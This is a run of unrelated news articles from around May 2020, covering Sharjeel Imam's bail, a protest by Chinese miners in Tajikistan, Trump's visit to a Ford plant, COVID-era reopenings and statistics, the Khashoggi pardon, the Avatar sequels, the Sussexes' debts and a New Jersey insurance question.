Statutory bail has been granted to my brother Sharjeel Imam in the FIR registered by Crime Branch, Guwahati police. This is the first step towards his release, his brother Muzzammil tweeted.

The granting of bail, however, doesnt mean he will be out from jail immediately. There are several cases against Sharjeel lodged in different states of the country.

According to reports, the statutory bail was granted by court as the police failed to file charge sheet against Sharjeel within the stipulated 90 days and also didnt seek extension of his custody.

Following his arrest, Sharjeel was brought to Guwahati on February 20 by Assam Police.

Assam Police had registered a case against Imam after a video of him stating that Assam should be cut-off from the rest of India, during the anti-Citizenship Amendment Act (CAA) protest, went viral.

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ABOUT THE AUTHOR Utpal Parashar Utpal is an assistant editor based in Guwahati. He covers all eight states of North-East and was previously based in Kathmandu, Dehradun and Delhi with Hindustan Times . ...view detail
DUSHANBE -- Tajik police have used firearms to break up a rare protest by Chinese workers employed by the Tajik-Chinese Mining Company in the northern region of Sughd.



Interior Ministry officials told RFE/RL on May 21 that some 60 Chinese workers had protested in the town of Zarnisor a day earlier.



A spokesman for the Sughd regional police department told RFE/RL that local police shot live rounds into the air to disperse the protesters after it boiled over. No gunshot wounds or injuries were reported.



The mining company's administration says police were called after the protesting Chinese workers refused to stop the rally.



The workers' demands remain unclear, as it is not possible to access them.



Tohirjon Azizzoda, the governor of the Mastchoh district where the company's mines are located, told RFE/RL that the Chinese workers had been demanding the payment of overdue salaries.



He added, however, that the workers from China had rallied earlier last month, saying that their work terms had been fulfilled and they wanted to return home.



"The regional government explained to them then that they were unable to enter China as Beijing had suspended all border crossings due to the coronavirus outbreak," Azizzoda said.



The Chinese workers, mostly engineers, work in terms. Workers from the previous term that left Sughd for China earlier in the year to celebrate the Chinese New Year have been unable to return for the same reason.



The Tajik-Chinese Mining Company, which was created in 2009, operates lead and zinc mines in Tajikistan.
YPSILANTI TOWNSHIP (AP)  Pandemic politics shadowed President Donald Trumps trip to Michigan on Thursday to highlight lifesaving medical devices, with the president and officials from the electoral battleground state clashing over federal aid, mail-in ballots and face masks.

Trump visited Ypsilanti, outside Detroit, to tour a Ford Motor Co. factory that had been repurposed to manufacture ventilators, the medical breathing machines governors begged for during the height of the COVID-19 pandemic.

But his visit came amid a long-running feud with the states Democratic governor and a day after the president threatened to withhold federal funds over the states expanded vote-by-mail effort. And, again, the president did not publicly wear a face covering despite a warning from the states top law enforcement officer that a refusal to do so might lead to a ban on Trumps return.

All of the Ford executives giving Trump the tour were wearings masks, the president standing alone without one. At one point, he did take a White House-branded mask from his pocket and claim to reporters he had worn it elsewhere on the tour, out of public view.

I did not want to give the press the pleasure of seeing it, Trump said.

For a moment, he also teasingly held up a clear shield in front of his face. A statement from Ford said that Bill Ford, the companys executive chairman, encouraged President Trump to wear a mask when he arrived and said the president wore it during a private viewing of three Ford GTs from over the years before removing it.

Michigan Attorney General Dana Nessel said that mask wearing isnt just Fords policy but its also the law in a state thats among those hardest hit by the virus. Nessel said that if Trump refused to wear a mask Thursday hes going to be asked not to return to any enclosed facilities inside our state.

If we know that hes coming to our state and we know hes not going to follow the law, I think were going to have to take action against any company or any facility that allows him inside those facilities and puts our workers at risk, Nessel told CNN. We just simply cant afford it here in our state.

Trump has refused to wear a face mask in public, telling aides he believes it makes him look weak, though it is a practice that federal health authorities say all Americans should adopt to help slow the spread of the virus.

Ford said everyone in its factories must wear personal protective equipment, including masks, and that its policy had been communicated to the White House. At least two people who work in the White House and had been physically close to Trump recently tested positive for the virus. Trump is tested daily; he said Thursday he tested negative that morning.

An executive order issued by Gov. Gretchen Whitmer requires factories to suspend all nonessential in-person visits, including tours, though Nessel said her office would not bar Trump.

The Republican president and Whitmer have clashed during the coronavirus outbreak over her criticism of the federal governments response to the states needs for medical equipment, like ventilators, and personal protective gear, such as gloves, masks and gowns. Trump on Thursday criticized Democratic governors, suggesting that they were proceeding too slowly in reopening their states economies.

You have a lot of, unfortunately, in this case Democrat governors (who) think its good politics to keep it closed, Trump said. I think theyre being forced to open, frankly, the people want to get out. Youll break the country if you dont.

The day before, Trump threatened to withhold federal funds from Michigan after its secretary of state mailed absentee ballot applications to millions of voters. Trump first tweeted  erroneously  that the Democratic state official had mailed absentee ballots to Michigan voters. He later sent a corrected tweet specifying that applications to request absentee ballots had been mailed and seemed to back off his funding threat.

Trump narrowly won Michigan in 2016. He insists mail-in voting is ripe for fraud, although there is scant evidence of wrongdoing.

We dont want them to do mail in ballots because its going to lead to total election fraud, Trump said Thursday, But then he allowed for some exceptions, including for himself.

Now, if somebody has to mail it in because theyre sick, or by the way because they live in the White House and they have to vote in Florida and they wont be in Florida. But theres a reason for it, thats OK.

Trying to signal to the nation that life is returning to normal, the president had begun traveling again, with all of his initial trips to states that will be hotly contested in this Novembers election. Campaign advisers have grown increasingly worried about Michigan, believing that the presidents attacks on Whitmer have not worked and that the toll the virus has taken in the Detroit area, particularly among African Americans, will prove costly politically.

Trump, at a roundtable with African American supporters in front of a sign with his slogan for reopening the economy, Transition to Greatness, noted low minority unemployment numbers before the pandemic and also pointed to his administrations work on criminal justice reform.

The presidents advisers have become convinced that of the three Rust Belt states that Trump took from Democrats in 2016, Michigan would be much more difficult to win again than Pennsylvania and, especially, Wisconsin.

In the early days of the crisis, Whitmer and other governors and medical workers clamored for ventilators, fearing a shortage of the machines would prove deadly as the virus made breathing difficult for the scores of afflicted patients who were being brought to hospitals.

But the U.S. now has a surplus of the breathing machines, leading Trump to begin describing the U.S. as the king of ventilators.

Whitmer did not accompany Trump during the visit.

We do not have plans to meet, but I did speak with him yesterday on the phone, Whitmer told CBS This Morning on Thursday. I made the case that, you know, we all have to be on the same page here. Weve gotta stop demonizing one another and, really, focus on the fact that the common enemy is the virus.

Trump had said he and Whitmer in their call discussed the coronavirus pandemic and the catastrophic flooding and mass evacuations caused by the failure of dams in the states central region  not his tweeted threat to withhold federal money.
Universal Orlando is proposing reopening to the public on June 5, a plan that has been endorsed by the Orange County Economic Recovery Task Force but must still get approval from Florida Gov. Ron DeSantis (R) and Orange County Mayor Jerry Demings.

Universal Orlando executive John Sprouls said the parks would start reopening on June 1, with only team members allowed on property. On June 3 and 4, access would be granted to some Universal Orlando passholders.

When Universal is open to the public, capacity will be limited, and all visitors will have to wear masks and get their temperatures checked. Workers will also have their temperatures taken, and will frequently clean and disinfect chairs, tables, and other high-touch areas. Interactive play areas will not be open, and water and mist elements will be turned off on rides.

All of Orlando's major theme parks shut down in mid-March because of the coronavirus pandemic. Universal is the first to announce an intended reopening date.

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The rapper helped distribute the food parcels at a primary school in Poplar, east London (Ben Stevens/PA)

Dizzee Rascal has helped distribute meals and food parcels in the community he grew up in.

The rapper, 35, helped distribute the food at a primary school in Poplar, east London, on Thursday.

The initiative is run by Kitchen Social, a project which was set up by the Mayors Fund for London charity, which helps distribute food to children in the school holidays.

Dizzee Rascal said: I was given an amazing opportunity to visit and help out Kitchen Social at Bygrove Primary School in Poplar, who are providing free food, books and school equipment to kids in the local area where I grew up.

Thank you to all the amazing people I met and thanks Mayors Fund for London for connecting the dots.

He spent Thursday morning packing parcels containing enough food to make five meals for a family of four.

He also served meals to children and families.

Kirsty McHugh, chief executive of the Mayors Fund for London, said: Many young people in London are paying a devastating price for Covid-19 and as a society, we have a duty to help.

Video of the Day

Not all of us can volunteer like Dizzee today, but even small donations can help our young people access food and other support.
Horse Racing Off to Slow Start in California

Horse racing is back on track at Santa Anita Park in Arcadia, California, but without fans in the stands.

Mike Willman, Santa Anita spokesman, told The Epoch Times every precaution has been taken to protect the jockeys and stable workers since the races resumed on May 15 in the wake of the COVID-19 pandemic.

The new normal is no public admittance. The people who own the horses are not admitted; theyre not allowed in the stable area; theyre not allowed on the grounds, he said. Its just very, very strict for the present time. There are no Winners Circle ceremonies of any kind. Human contact is kept to an absolute minimum.

The jockeys are all quarantined, he said.

Once they come into the quarantine area, theyre committed to stay there and live on the grounds. Weve provided a number of trailers in close proximity to the jockeys room, which adjoins the paddock, Willman said. They are all riding with masks and gloves and maintaining social distances, so its pretty severe.

The jockeys stay in quarantine throughout the usual Friday to Sunday race week. Then they come back the following week, he said.

The horse Maximum Security, who is trained by Bob Baffert, at the Santa Anita Park in Arcadia, Calif. (Courtesy of Zoe Metz/Santa Anita Park)

On any given race week, there are usually about 30 to 35 jockeys at Santa Anita, Willman said.

Ive really got to give a lot of credit to our jockeys who are making big, big sacrifices. Everybody realizes that in order to be back in action and to remain in action, weve got to really strictly adhere to these protocols, he said.

On Memorial Day weekend Irad Ortiz Jr., a prominent Puerto Rican jockey and a leading rider in the New York Thoroughbred horse racing circuit, will ride at Santa Anita.

Hell be kept at quite a distance from the other jockeys the one day that he is here. Hell ride and then fly out, Willman said.

With the races shut down for almost two months, the drop in revenue has been substantial.

Food and beverage sales are a big part of our pie as well, and obviously, thats nil for now.

I cant give you any numbers, but obviously it has been a tremendous hit, Willman said. Weve been shuttered by the Los Angeles County Dept. of Health since March 27.

One upside is that even though fans cant attend the events, they can still use apps to place their bets online. Even before the pandemic, the majority of bets were made online.

Well over 90 percent of the money wagered on these races was not wagered on-track; it was wagered online. So, we are well-suited to resume business in that context, Willman said.

Willman said strict safety guidelines also apply to Santa Anitas stable workers.

Were doing everything we can to minimize the chance of infection with hand-sanitizing, daily temperature monitoring, masks, and gloves, and that goes for everybody, even the guys who work on the starting gate, he said.

Willman credited Los Angeles County Commissioner Kathryn Barger for her efforts to allow the horse races to resume.

Were in her district, so weve been negotiating with her all along from the point of the shutdown via the Health Department, Willman said.

For the foreseeable future theres not going to be any spectators. Were just trying to stay within the guidelines, Willman said. The main thing is to stay safe and to prevent any proliferation of this virus whatsoever.

Santa Anita is owned by The Stronach Group (TSG), which also owns Golden Gate Fields in the San Francisco Bay Area and Gulfstream Park in southern Florida.

Gulfstream Park has been open all along, which has helped the company weather the economic storm caused by the pandemic. They were never closed, he said.

Willman is encouraged to see other race tracks begin to open up across the country.

Were seeing more and more tracks open up and the New York Racing Association (NYRA) has announced that they will be opening on June 1, he said.

Del Mar Race Track

Carrie Jones, a public relations spokesperson for Del Mar Thoroughbred Club in San Diego County, said in an email the Del Mar Race Track is probably two months away from reopening for racing and that everything is a work in progress.

Jones provided a statement by the Del Mar Thoroughbred Club (DMTC) saying it plans to work with public health officials and the California Horse Racing Board as it gets closer to reopening for races.

We are encouraged by the recent resumption of racing at Golden Gate and Santa Anita under strict COVID-19 safety protocols and that other tracks across the country have been able to operate safely with similar measures in place, the DMTC said.

Del Mar Thoroughbred Club has similar plans developed in conjunction with leading health experts and we will continue to follow the public health guidelines recommended by state and local officials. We intend to hold our summer race meet with a steadfast commitment to ensure the safety and welfare of our workforce, the public, and our equine and human athletes, even if that requires racing without spectators at our facility.

We will race in July, Jones added.
Home buyers looking for value are more likely to find a bargain by the beach as coronavirus forces struggling borrowers to sell.

Ceduna on South Australia's West Coast has Australia's highest rate of urgent sales with 9.8 per cent of listings in this category, property sales website Domain has revealed.

Tourist hot spots in Queensland, hit by COVID-19 border closures, are also in trouble with 5.5 per cent of Gold Coast properties being put on the market because a home owner can't pay off their mortgage.

In north Queensland's Whitsundays, four per cent of real estate sales are being forced in idyllic areas including Airlie Beach and Hamilton Island.

Four per cent of properties in Queensland's Whitsundays are being forced to sell amid COVID-19 (pictured: home in Airlie Beach, Whitsundays)

The Fraser Coast, taking in Hervey Bay and Bundaberg near Fraser Island, had 4.9 per cent of urgent listings.

Where home owners are being forced to sell 1. South Australia West Coast: 9.8 per cent 2. Gold Coast: 5.5 per cent 3. Western Australia Swan Valley: 5.1 per cent 4. Fraser Coast: 4.9 per cent 5. SA Eyre Peninsula: 4.6 per cent 6. Bribie Island, north of Brisbane: 4.3 per cent 7. Whitsundays, north Queensland: 4 per cent 8. WA North: 3.9 per cent 9. Logan, south of Brisbane: 3.8 per cent 10. WA East: 3.7 per cent Source: Domain listings suggesting an urgent sale Advertisement

Bribie Island, between Brisbane and the Sunshine Coast, had 4.3 per cent of sales sparked by financial hardship.

Dr Nicola Powell, a senior Research Analyst for Domain said tourist dependent areas were particularly vulnerable following border closures and a ban on interstate travel.

'Given the economic impact has been concentrated on particular industries, economies heavily reliant on tourism, hospitality, arts and recreation will have a greater risk of rising distressed sales,' she said.

It comes after Queensland suffered high rates of unemployment following the outbreak of COVID-19.

Toowoomba, about 126km west of Brisbane, was the hardest hit with unemployment rates soaring to 12.2 per cent last month.

The Gold Coast's jobless rate rose from 4.1 per cent in March to 6.5 per cent in April, putting it marginally above the national average.

In just one month, 22,700 jobs were lost, the third highest in Australia.

Queenslands Wide Bay area has Australia's third highest jobless rate of 10.2 per cent.

The New South Wales Mid-North Coast also saw unemployment rise to 11.8 per cent in April.

The Gold Coast (pictured) has also suffered from the outbreak of COVID-19 with 5.5 per cent of properties being forced to sell

Despite the high unemployment rates in Queensland, job advertisements have increased by 35 per cent since April which brings hope to those struggling amid the pandemic.

In capital cities like Melbourne, Sydney and Darwin, Dr Powell said there has been little evidence of increased forced sales since the pandemic.

Sydney properties forced to sell rose to just 1.6 per cent in April from 1.4 per cent in February.

Melbourne had no change and forced sales have remained at 0.5 per cent since February.
Yet vaccine skepticism endures and it has contributed to a resurgence of diseases we thought were driven to extinction. Add to that a new and unfortunately timely partisan divide on the issue. Almost 1 in 5 Republicans told the Reuters/Ipsos pollsters that they have no interest in a vaccine, which was more than twice the proportion of Democrats who said the same.
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Linkedin (Reuters) London  Fri, May 22, 2020 14:42 608 fc6853813033f564188675f8bd9a0b6b 2 News travel,tourism,United-Kingdom,coronavirus,COVID-19,Airlines Free

The United Kingdom will later on Friday spell out details of its plans for a COVID-19 quarantine for travelers arriving from overseas, a measure that airlines have warned will devastate their industry.

The government is expected to announce that all international arrivals, including returning Britons, will be required to self-isolate for 14 days and provide details of where they will be staying to the authorities.

The Daily Telegraph newspaper reported that those who breached the quarantine would be fined 1,000 pounds with health and border officials carrying out spot checks.

"I can't say just yet how long this quarantine will last for," Northern Ireland Secretary Brandon Lewis told BBC TV. "It is something we will be reviewing every three weeks or so."

The government has indicated that only those arriving from the Irish Republic would be exempt from the quarantine along with those in a number of specific jobs, such as freight drivers.

Transport minister Grant Shapps has also suggested the government would seek to negotiate "air bridges" for travelers coming from countries with low virus infection rates.

Lewis said full details of the plan, which aims to try to prevent a second peak of the coronavirus pandemic, would be outlined by the interior minister, Priti Patel, later.

Unlike many other countries across the world, Britain has carried out few tests and checks on visitors, with quarantine limited only to arrivals from China at the start of the outbreak.

Read also: UK's Cambridge University cancels face-to-face lectures until summer 2021

That has led to accusations that Prime Minister Boris Johnson's government had been far too slow to act, but it now also faces criticism over plans to bring in the quarantine.

Airline bosses have said the measures would have severe repercussions, with Michael O'Leary, Ryanair's chief executive, saying they would be "unenforceable and unpoliceable" and would be ignored.

Some lawmakers in Johnson's Conservative party have also queried the need to bring in a quarantine now, saying it would damage the economy when it has already taken a massive hit from a lockdown.

"The government needs to rethink this quickly and not go into quarantine," Iain Duncan Smith, a former Conservative leader, told the Daily Telegraph. "If they got their testing level up, then anyone coming in would be tested and put on the tracking app."
Michigan announced 403 new cases of COVID-19 and 29 new deaths associated with the infectious respiratory virus on Friday, May 22.

The states confirmed case total has climbed to 53,912 since mid-March, while the death toll of the coronavirus outbreak is up to 5,158, according to data from the Michigan Department of Health and Human Services.

Daily trend analysis on confirmed cases and deaths is made more difficult due to the states database frequently adding backlogged data from previous days, as well as increases in testing leading to higher case numbers.

The most recent seven-day moving averages are statewide 525 cases and 55 deaths per day. Fridays numbers were both below those averages. A week ago, the seven-day average for cases was 623 cases and 47 deaths.

Related: Why health officials say Kent County topped states daily list of new coronavirus cases

For the second straight day, Kent County reported more new cases than Wayne County, which until this week has consistently reported the highest case numbers.

Kent County reported 86 new cases, more than any other Michigan county, followed by Wayne County with 64, and Macomb and Ottawa counties with 25 each.

Oakland County, another of Michigans hardest-hit areas, reported just six new cases Friday, after only eight Thursday.

Related: Michigan county expands drive-thru coronavirus testing to all adults, regardless of symptoms

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Michigan reports its COVID-19 testing data daily, though the most recent data is from two days prior. Of nearly 18,000 tests processed May 20, there were 1,121 positive tests, 6.3 percent. At least 12,000 tests have been conducted each day since May 11.

The expansion of testing to front-line workers who arent showing symptoms of the virus over the last few weeks has contributed to the reduction in positive test rates. Earlier in the pandemic, testing supplies were limited and hospitalized patients were prioritized.

Wayne, Washtenaw and Monroe counties, which comprise the states emergency preparedness Region 2 South, had the highest positive test rate in Michigan at 7.8% Wednesday.

Northern Michigans Region 7 and Region 8, where the governor relaxed business restrictions this week, were both below 3%.

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More than 28,000 people have recovered from COVID-19, though that number was last updated on May 15. The virus has reached 79 of the states 83 counties, excluding four counties in the Upper Peninsula.

Wayne, Macomb and Oakland counties in Southeast Michigan make up 63% of the states confirmed cases (34,083) and 78% percent of deaths associated with the virus (4,030).

Heres a look at the Michigan counties with the most confirmed cases:

1. Wayne County: 19,538 cases (2,313 deaths)

2. Oakland County: 8,125 cases (945 deaths)

3. Macomb County: 6,420 cases (772 deaths)

4. Kent County: 3,145 cases (62 deaths)

5. Genesee County: 1,926 cases (240 deaths)

6. Washtenaw County: 1,265 cases (95 deaths)

7. Saginaw County: 968 cases (103 deaths)

8. Kalamazoo County: 762 cases (45 deaths)

9. Ingham County: 674 cases (24 deaths)

10. Ottawa County: 632 (26 deaths)

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For more statewide data, visit MLives coronavirus data page, here.

COVID-19 PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

Related stories:

More Michigan coronavirus coverage, here

Friday, May 22: Latest developments on coronavirus in Michigan

Sexist attacks cast Michigan Gov. Whitmer as mothering tyrant of coronavirus dystopia

Gatherings of 10 or less, retail by appointment allowed under new Whitmer order

Southeast Michigan sees lowest positive coronavirus test rates to date
ROME - The family of Saudi journalist Jamal Khashoggi, who was assassinated and cut into pieces in October 2018 in Riyadh's consulate in Istanbul, announced late Thursday that they had ''pardoned'' his killers.



Salah Khashoggi, the son of the Washington Post op-ed writer, posted the statement on social networks. Hatice Cengiz, the Turkish fiancee of the journalist, responded on Twitter that ''Jamal Khashoggi has become an international symbol bigger than any of us, admired and loved.



His ambush and heinous murder does not have a statue of limitations and no one has the right to pardon his killers''. ''Jamal was killed inside his country's consulate while getting the docs to complete our marriage. The killers came from Saudi with premeditation to lure, ambush & kill him. Nobody has the right to pardon the killers. We will not pardon the killers nor those who ordered the killing,'' she added.
James Cameron. Photo: Twentieth Century Fox

Filming has begun on the four sequels to Avatar, James Camerons 2009

3-D CGI adventure about a paraplegic marine who lands on the planet Pandora to mine unobtainium. This time, though, Cameron is really gonna make it happen  hes not playing around! Hes spent much of the last decade teasing us about the upcoming installments, throwing out piecemeal updates (with occasional breaks for a Titanic rerelease or to shade Alien: Covenant). But this time, hes serious: This week, Cameron and his crew started filming the installments known as the The Avatar Sequels, which will come with a budget of $1 billion. (Thats three and a half Lord of the Rings trilogies, six Wonder Womans, 66 Hurt Lockers, and 250 Moonlights.) Heres a timeline of all Camerons Avatar promises that once seemed broken, or at least teetering on the edge of breaking, but hes definitely about to make good on them, youll see. Youll all see.

January 7, 2010: Days after Avatar made $1 billion, Cameron announces that were getting a sequel. Yes, therell be another, he tells the crowd after a screening in Los Angeles.

January 14, 2010: Now he says there wont just be another  there will be several more. Ive had a story line in mind from the start  there are even scenes in Avatar that I kept in because they lead to the sequel, he tells EW. It just makes sense to think of it as a two or three film arc, in terms of the business plan.

February 16, 2010: Were not only getting several more trips to Pandora, but a book! I told myself, if it made money, Id write a book. There are things you can do in books that you cant do with films, Cameron says. Your middle-school librarian nods in agreement.

August 7, 2010: Now Avatar 2 and Avatar 3 will be filmed back-to-back. Were talking about that, that makes a lot of sense, given the nature of these productions. We can bank all the capture and then go back and do cameras, he says. But really, hes focused on the prequel novel: I didnt want to do some cheesy novelization, he says, where some hack comes in and makes shit up.

March 7, 2010, an aside: Cameron loses the Oscar. (Later on, hell say that the Oscars dont award his kinds of movies anymore, meaning big, visual cinema.)

April 21, 2010: The Avatar sequel, Cameron says, will dive deep (not into the history  thats for the novel) into the ocean. Part of my focus in the second film is in creating a different environment  a different setting within Pandora. And Im going to be focusing on the ocean on Pandora, which will be equally rich and diverse and crazy and imaginative, but it just wont be a rain forest, he tells the Los Angeles Times.

October 27, 2010: Avatar 2 and Avatar 3 are definitely happening ASAP  he passed on Sonys never-realized Cleopatra to work on them. Fox made a big donation to his environmental green fund to make sure the trilogy rises to the tippity top of his to-do list. Cameron is shooting for a December 2014 and December 2015 release.

May 7, 2012: Not just Avatar 2 and Avatar 3. Now James Cameron has an Avatar 4 in store, too. He says hes Avatar only. Literally, he says this: Im not interested in developing anything. Im in the Avatar business. Period. Thats it. Im making Avatar 2, Avatar 3, maybe Avatar 4, and Im not going to produce other peoples movies for them, he tells the New York Times. He confirms it formally in August 2013.

December 2013: Avatar 2, Avatar 3, and Avatar 4 will shoot in New Zealand. Not sure when, but probably soon-ish? When you jot it down in your calendar, maybe use pencil or one of those fancy erasable pens they sell at Staples.

April 12, 2014: Cameron says theyre in preproduction! Go ahead and set those iCal alerts.

January 14, 2015: He says Avatar 2, Avatar 3, and Avatar 4 are delayed, but only for a couple years, ideally 2017. So its a little delay, not a big delay. If were using Google calendar by this point, adjust it accordingly.

April 28, 2015: James Cameron isnt just giving us Avatar 2, Avatar 3, and Avatar 4. Did you think wed get away without an Avatar 5? He and his writing team have come up with five whole freaking scripts. Were getting Avatar 5, too.

January 1, 2016: Hes losing steam. How can he get it done? The Wrap reports that Avatar 2 has been suspended indefinitely.

April 14, 2016: The next time I see you will be on Pandora, Cameron tells a Comic Con audience. Hes back, baby! And this time, hes promising a new Avatar nearly every other Christmas: Avatar 2 is slated for release on Christmas 2018, with Avatar 3 following on Christmas 2020, Avatar 4 on Christmas 2022, and Avatar 5 on Christmas 2023.

September 8, 2016: Sam Worthington is deep into his Christian movie stardom, Zoe Saldana is with Guardians of the Galaxy now, but Cameron is still hard at work on those Avatar movies. Youll get them when you get them. Okay?!? We havent moved that target yet, but we will if we need to, Cameron says. The important thing for me is not when the first one comes out but the cadence of the release pattern.

April 22, 2017: Shadys back, tell a friend: James Cameron has started production, with an adjusted timeline: Expect Avatar 2 on December 18, 2020; Avatar 3 on December 17, 2021; Avatar 4 on December 20, 2024; and Avatar 5 on December 19, 2025.

September 25, 2017: Seven years later, Cameron has started filming! Fox says the first Avatar sequel will be released December 18, 2020. Avatar 3 comes a year later, and the last two are due December 2024 and 2025. The Avatar Sequels arent just about the destination (again, Pandora, in case youve forgotten in the interim). Avatar is about James Camerons journey.

May 7, 2019: It has only been 588 days since this extremely important timeline has been updated, and I have returned to offer critical news! (You think the Avatar sequels are your ally? You merely adopted the Avatar sequels. I was born into them, molded by them!)

In light of the Disney-Fox acquisition, the House of Mouse has released an updated  and exhaustive  release schedule for all of its new titles. Four forthcoming Avatar films, expanding the vibrant world of Pandora, will release on the pre-Christmas weekend every other year beginning in 2021, Disney says. Were getting the sequel on December 17, 2021; Avatar 3 on December 22, 2023; Avatar 4 on December 19, 2025; and Avatar 5 on December 17, 2027. (Extremely optimistic of James Camron to assume we will still be living on a habitable planet in 2027, frankly!) These movies may or may not be titled Avatar: The Way of Water, Avatar: The Seed Bearer, Avatar: The Tulkun Rider, and Avatar: The Quest for Eywa. Your move, Marvel.

March 17, 2020: Things were going so well in the near-year between spring 2019 and spring 2020! (Granted, James Camron did get into a random feud with a diver, but that is actually very fun and petty drama!) Production on the Avatar sequels, however, screeched to a halt due to the coronavirus. As cities around the globe were shutting down to contain the virus, Avatar producer Jon Landau told the New Zealand Herald that production was temporarily suspended: Weve delayed it. We had plans to come down Friday night with a group of people and start back up and we made the decision to hold off and continue working here [Los Angeles], and come down there a little bit later than wed planned. Weta Digital would continue to work on the movies digital effects during the pause in production.

April 2, 2020: Other directors and other movies are falling victim to the global shutdown, with release plans and opening days shifting on the calendar. Disney releases an updated release calendar of its films, noting that the first Avatar sequel is still slated to emerge December 17, 2021.

May 11, 2020: Lets be reasonable here: Production on all these Avatar sequels can only last so long. Time is ticking! James Camron gave an update to Empire, detailing his frustration with the production shutdown. Its putting a major crimp in our stride here, he said. I want to get back to work on Avatar, which right now were not allowed to do under state emergency laws or rules. So its all on hold right now. Speaking from his Malibu home, the filmmaker explained that he was about to travel halfway across the globe for a phase of the shoot before lockdown put paid to those plans. We were about to shoot down in New Zealand, so that got pushed. Were trying to get back to it as quick as we can.

May 22, 2020: And we back, and we back, and we back, and we back, and we back! (A Chance the Rapper reference is reasonable here, I think, because in many ways the Avatar sequels are all weve got.) Producer Jon Landau announced that production is resuming in June. Our Avatar sets are ready  and we couldnt be more excited to be headed back to New Zealand next week, he wrote, sharing a photo of a command vessel and a jetboat.

Come hell, high water, or a global pandemic, the first Avatar sequel is coming December 17, 2021! Watch this space.

August 2020: Technically this is not related to an Avatar sequel announcement  it is barely related to canonical Avatar, as imagined by James Cameron  but really you must see Joe Rogan earnestly compare a real live person to Na-apostrophe-vi.

get ready to take a big puff of your stogie when you see where joe goes with this thought pic.twitter.com/4ZuvhZi81H  Michael R. Carlson (@phatcarlson) August 11, 2020

September 27, 2020: Avatar 2 is almost done! Avatar 3 is almost-almost done! Were 100 percent complete on Avatar 2 and sort of 95 percent complete on Avatar 3, James Camron told Arnold Schwarzenegger during a one-on-one for the 2020 Austrian World Summit, per Deadline. Were able to operate. Were able to shoot and have a more or less normal life here. We were very fortunate, so I dont see any roadblocks to us getting the picture finished, getting both pictures finished.

The director wouldnt divulge any other details about the sequels. I cant tell you anything about the story. I believe in the mystery and the great reveal. And I believe in Avatar!
They may be miles away from the UK but Prince Harry and Meghan Markle are far from safe against the wrath of the British. Taxpayers are demanding the two to cough up the money they reportedly owe to them because there's a crisis and the country could use the financial resources.

While they, in the UK public's eyes, are living as if there is no crisis in their home country.

Barely two months in their new home in LA, Prince Harry and Meghan Markle already sparked a stark backlash against them. Commentators are now asking when they would return the money they owe the taxpayers while they live in luxury and languish in the good life.

Even though there are reports of them becoming increasingly broke as the covid-19 pandemic wages on, commentators do not believe their present lifestyle warrant any sympathy. Instead, seeing them or reading about them living in a massive mansion is enough to rile the commentators into asking them to start repaying their debts, pronto!

According to Daily Star columnist Dawn Neesom, the UK is in dire needs of funds right now and it is time for the royal couple to make true their promises of paying back their debts now.

"Basically they owe us 2.4million for the 'tiny' 10-bedroom Frogmore Cottage that taxpayers renovated." she told Channel 5's Jeremy Vine Show. She questions why the two deserves to have terms on repayments when they got millions in their bank. She also cited the two's present abode in LA, claiming the two are paying millions as monthly rent.

Following her rant, the host Jeremy Vine suggested that Harry has a net worth of around 30 million while Meghan comes in at around 15 million. Jeremy however clarified that these are merely estimations and he is not sure about the figures.

Either this commentator did not hear the latest news or Prince Harry and Meghan Markle truly have not paid a cent yet on their debts. The latest news reported otherwise though. According to the Mail on Sunday, the Sussexes repayment process has already started BACK IN APRIL. However, the Buckingham Palace refuses to release to the public any part of the agreement.

It can be remembered that when the costs of refurbishments made to Frogmore College were made public, there was a resounding cry of disbelief. The costs reportedly reached 2.4 million after all.

Victoria Murply of Town and Country claimed that there must be a fairer reception of these costs by the public. "While 2.4 million of structural work on Frogmore was paid for with the public funds, Harry and Meghan paid for their own furniture and interior decoration."

The payments they are making a month reaches $22000 a month. This is to ensure Frogmore Cottage can still remain their official home while in the United Kingdom.

It's no small sum, but as the Mail points out, the present rate will already take Sussexes around 11 years to repay the Sovereign Grant.

The commentator may be right though. If the two can pay up now, the complete amount, then that would great, given the present crisis. Their money will certainly go a long way in helping the British survive, especially the taxpayers.

READ THIS: Royal Bankruptcy: Queen Elizabeth II Could Cause MASSIVE DEBT For Royal Family

READ MORE: Royal Scandal: Prince Andrew Called A 'Bully' And 'Womanizer' In New Book
In 2006, I went to Jackson, Miss., to report on the weeklong siege of the states last abortion clinic by the anti-abortion group Operation Save America. Flip Benham, then the groups leader, had T-shirts made up, black with white lettering, saying, Homosexuality Is Sin! Islam Is a Lie! Abortion Is Murder! Some Issues Are Just Black and White!

He wanted to burn a Quran at a demonstration, but couldnt get a fire permit, so his group settled on ceremoniously ritually ripping one to shreds  along with a rainbow flag and printouts of hated Supreme Court decisions  and tossing them on an unlit grill.

By his side was Norma McCorvey, the Jane Roe in Roe v. Wade. In 1995 Benham opened the headquarters of Operation Rescue, an earlier iteration of Operation Save America, next to the Texas abortion clinic where McCorvey worked, and converted her during her smoke breaks. In Mississippi, she tore up the decision bearing her alias, telling the abortion protesters: Youre so beautiful. Im so sorry for what I did. That night, the group burned all the scraps in a church parking lot. McCorvey lit the match.

It was a cultural coup for the right when McCorvey publicly turned against legal abortion. Jane Roe rejecting Roe v. Wade was something abortion opponents could throw in the faces of pro-choice activists. So it is a bombshell that McCorvey has revealed, in the posthumous new documentary AKA Jane Roe, that it was, at least in some sense, an act. I am a good actress, she said.
Q. I understand New Jersey law automatically revokes an ex-spouse as a beneficiary of life insurance in a divorce. My friends spouse recently died and she has two small kids to care for. Her spouse had a life insurance policy, but it lists his ex-wife and unemancipated children of their marriage as the primary beneficiary. The divorce agreement stated he would have the policy and as each child becomes emancipated they would be removed from the policy. Does my friend have a claim for the life insurance?

 Asking for a friend

A. Probably not.

Ex-spouses are often named as beneficiaries on life insurance policies.

As part of finalizing most divorces, especially when there are children, one or both parties are required to maintain life insurance benefits/policies either by consent that is incorporated into a binding marital settlement agreement or by order entered by the court at the conclusion of a trial, said Kenneth White, a certified matrimonial attorney with Shane and White in Edison.

